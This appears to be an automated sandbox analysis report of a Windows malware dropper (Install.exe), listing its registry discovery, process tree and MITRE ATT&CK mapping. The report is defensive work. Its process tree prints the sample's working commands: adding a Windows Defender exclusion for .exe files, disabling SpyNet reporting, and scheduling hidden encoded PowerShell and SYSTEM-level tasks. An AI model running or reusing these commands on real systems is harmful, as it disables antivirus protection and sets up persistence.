3d74ef58c00334e3ec44b26fabbf548c1879d4fcb3264c3fedd83129384f58d5

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bOXfKGvclsQzhTGUxV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
260	schtasks.exe
3460	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3372	powershell.EXE
3372	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	powershell.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 4560	1984	file.exe	82
PID 1984 wrote to memory of 4560	1984	file.exe	82
PID 1984 wrote to memory of 4560	1984	file.exe	82
PID 4560 wrote to memory of 5068	4560	Install.exe	85
PID 4560 wrote to memory of 5068	4560	Install.exe	85
PID 4560 wrote to memory of 5068	4560	Install.exe	85
PID 5068 wrote to memory of 2040	5068	Install.exe	86
PID 5068 wrote to memory of 2040	5068	Install.exe	86
PID 5068 wrote to memory of 2040	5068	Install.exe	86
PID 5068 wrote to memory of 432	5068	Install.exe	88
PID 5068 wrote to memory of 432	5068	Install.exe	88
PID 5068 wrote to memory of 432	5068	Install.exe	88
PID 2040 wrote to memory of 1372	2040	forfiles.exe	90
PID 2040 wrote to memory of 1372	2040	forfiles.exe	90
PID 2040 wrote to memory of 1372	2040	forfiles.exe	90
PID 432 wrote to memory of 1604	432	forfiles.exe	91
PID 432 wrote to memory of 1604	432	forfiles.exe	91
PID 432 wrote to memory of 1604	432	forfiles.exe	91
PID 1372 wrote to memory of 2808	1372	cmd.exe	92
PID 1372 wrote to memory of 2808	1372	cmd.exe	92
PID 1372 wrote to memory of 2808	1372	cmd.exe	92
PID 1604 wrote to memory of 3792	1604	cmd.exe	93
PID 1604 wrote to memory of 3792	1604	cmd.exe	93
PID 1604 wrote to memory of 3792	1604	cmd.exe	93
PID 5068 wrote to memory of 260	5068	Install.exe	94
PID 5068 wrote to memory of 260	5068	Install.exe	94
PID 5068 wrote to memory of 260	5068	Install.exe	94
PID 1604 wrote to memory of 204	1604	cmd.exe	95
PID 1604 wrote to memory of 204	1604	cmd.exe	95
PID 1604 wrote to memory of 204	1604	cmd.exe	95
PID 1372 wrote to memory of 2188	1372	cmd.exe	97
PID 1372 wrote to memory of 2188	1372	cmd.exe	97
PID 1372 wrote to memory of 2188	1372	cmd.exe	97
PID 5068 wrote to memory of 5004	5068	Install.exe	98
PID 5068 wrote to memory of 5004	5068	Install.exe	98
PID 5068 wrote to memory of 5004	5068	Install.exe	98
PID 5068 wrote to memory of 384	5068	Install.exe	105
PID 5068 wrote to memory of 384	5068	Install.exe	105
PID 5068 wrote to memory of 384	5068	Install.exe	105
PID 5068 wrote to memory of 3460	5068	Install.exe	107
PID 5068 wrote to memory of 3460	5068	Install.exe	107
PID 5068 wrote to memory of 3460	5068	Install.exe	107
PID 3372 wrote to memory of 2552	3372	powershell.EXE	109
PID 3372 wrote to memory of 2552	3372	powershell.EXE	109

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Users\Admin\AppData\Local\Temp\7zSE208.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Users\Admin\AppData\Local\Temp\7zSE777.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2040
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1372
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:2808
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:2188
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1604
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3792
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:204
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gfhJHzRwa" /SC once /ST 08:32:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:260
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gfhJHzRwa"
      4⤵
      PID:5004
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gfhJHzRwa"
      4⤵
      PID:384
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bOXfKGvclsQzhTGUxV" /SC once /ST 10:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uHdWtyjWXpcRVswOS\JnNNyRyrhukZDqT\OfKyjXa.exe\" SH /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:3460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:2088

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4472

C:\Users\Admin\AppData\Local\Temp\uHdWtyjWXpcRVswOS\JnNNyRyrhukZDqT\OfKyjXa.exe
C:\Users\Admin\AppData\Local\Temp\uHdWtyjWXpcRVswOS\JnNNyRyrhukZDqT\OfKyjXa.exe SH /site_id 525403 /S
1⤵
- Executes dropped EXE
PID:1020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery